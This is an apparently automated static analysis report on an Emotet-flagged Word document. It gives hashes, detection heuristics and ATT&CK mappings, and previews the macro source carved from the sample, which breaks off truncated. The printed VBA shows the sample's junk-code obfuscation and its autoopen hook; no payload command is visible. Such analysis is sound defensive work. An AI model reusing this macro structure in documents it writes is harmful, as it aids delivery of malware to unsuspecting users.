Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ebac7a7dbcdc2f89…

MALICIOUS

Office (OLE)

138.2 KB Created: 2019-05-30 15:31:00 Authoring application: Microsoft Office Word First seen: 2019-10-30
MD5: 41ec7633a3e77a0496826ff7c2ea8b4e SHA-1: 9a5d1fb666b060c54e94b851292924e49869a908 SHA-256: ebac7a7dbcdc2f899eeb1d350110d5b1b3dde56a8437e1701d0350078495fee4
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an autoopen function, which is a common Emotet infection vector. The macro utilizes CreateObject to launch Win32_Process via WMI, indicating an attempt to execute a secondary payload. ClamAV detection confirms this as Emotet.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10963 bytes
SHA-256: 05b2379edcc22b8c8b2049635917b61a4ecc1d11ee5f981060ce9a36a01d0fbf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "zzI_0E7f, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "zdP6i5RR, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "djiSGw, 2, 2, MSForms, ComboBox"
Function ncJW9r()
   Select Case "OSuq4Z"
         Case "p7ln9r"
         Debug.Print Log("ZkuSYAK")
            Debug.Print "HN4F_AO"
            Debug.Print "TW5vS_6n"
            Debug.Print Tan("z8MpkDL")
         Case "i1RHvTu"
            Debug.Print Log("Iw7Xb_Ur")
            Debug.Print "PvYvnjCa"
            Debug.Print Log("PBzwokI")
            Debug.Print "HciwGc"
End Select
   Select Case "rpVGaJM"
         Case "vwn1O9Ca"
         Debug.Print Log("jO7dzz2")
            Debug.Print "wws0aKoP"
            Debug.Print "wVJs7i"
            Debug.Print Tan("pNmtvdq0")
         Case "KjTkNjMH"
            Debug.Print Log("KpksoSIT")
            Debug.Print "A0i0CuE"
            Debug.Print Log("MTbwuD")
            Debug.Print "UIojwSjm"
End Select
End Function
Sub _
autoopen( _
)
   Select Case "M0lKq1"
         Case "G9nXRvj"
         Debug.Print Log("q5_zFB4")
            Debug.Print "XfW7hnS"
            Debug.Print "dTzQHIUn"
            Debug.Print Tan("O7zHSj")
         Case "qaK8toD"
            Debug.Print Log("ILaAFV")
            Debug.Print "lujz3fcf"
            Debug.Print Log("joYDZh")
            Debug.Print "ZznlIMu"
End Select
rj0Cow
   Select Case "iMclu0"
         Case "KEi_krB"
         Debug.Print Log("PGjnKz")
            Debug.Print "O8Kn2j"
            Debug.Print "QWM9dWpi"
            Debug.Print Tan("AFi0YK3")
         Case "uhZiYUh"
            Debug.Print Log("iwWjfJ")
            Debug.Print "qr38cF"
            Debug.Print Log("qCjTjAva")
            Debug.Print "Q64zo8"
End Select
End Sub
Function SjKqA9BQ()
   Select Case "mJTMI_Qh"
         Case "QHoilQf"
         Debug.Print Log("r3i05d")
            Debug.Print "i_STws"
            Debug.Print "k4IjUL"
            Debug.Print Tan("tWcN6J")
         Case "E_jEMKZ"
            Debug.Print Log("wqiCTi")
            Debug.Print "N5XWi6pR"
            Debug.Print Log("cA2HbY")
            Debug.Print "pM6Ghd"
End Select
   Select Case "tiCzzf5U"
         Case "atkzhGu"
         Debug.Print Log("CA3dC4p")
            Debug.Print "PPrD2UMC"
            Debug.Print "a9S1M0"
            Debug.Print Tan("bX8j9XH")
         Case "AB_8Ih_B"
            Debug.Print Log("X3QmiXlZ")
            Debug.Print "IqfzQHk9"
            Debug.Print Log("Q8maLB")
            Debug.Print "TaSwJB"
End Select
End Function


Attribute VB_Name = "jlYJvCq"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "awJ7lPbn"

Attribute VB_Name = "IRV1cp"

Attribute VB_Name = "m3Z44WT9"

Attribute VB_Name = "AD6Zz2nK"

Attribute VB_Name = "vTCjDw"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "jubKrh"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "YIGuitVp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB
... (truncated)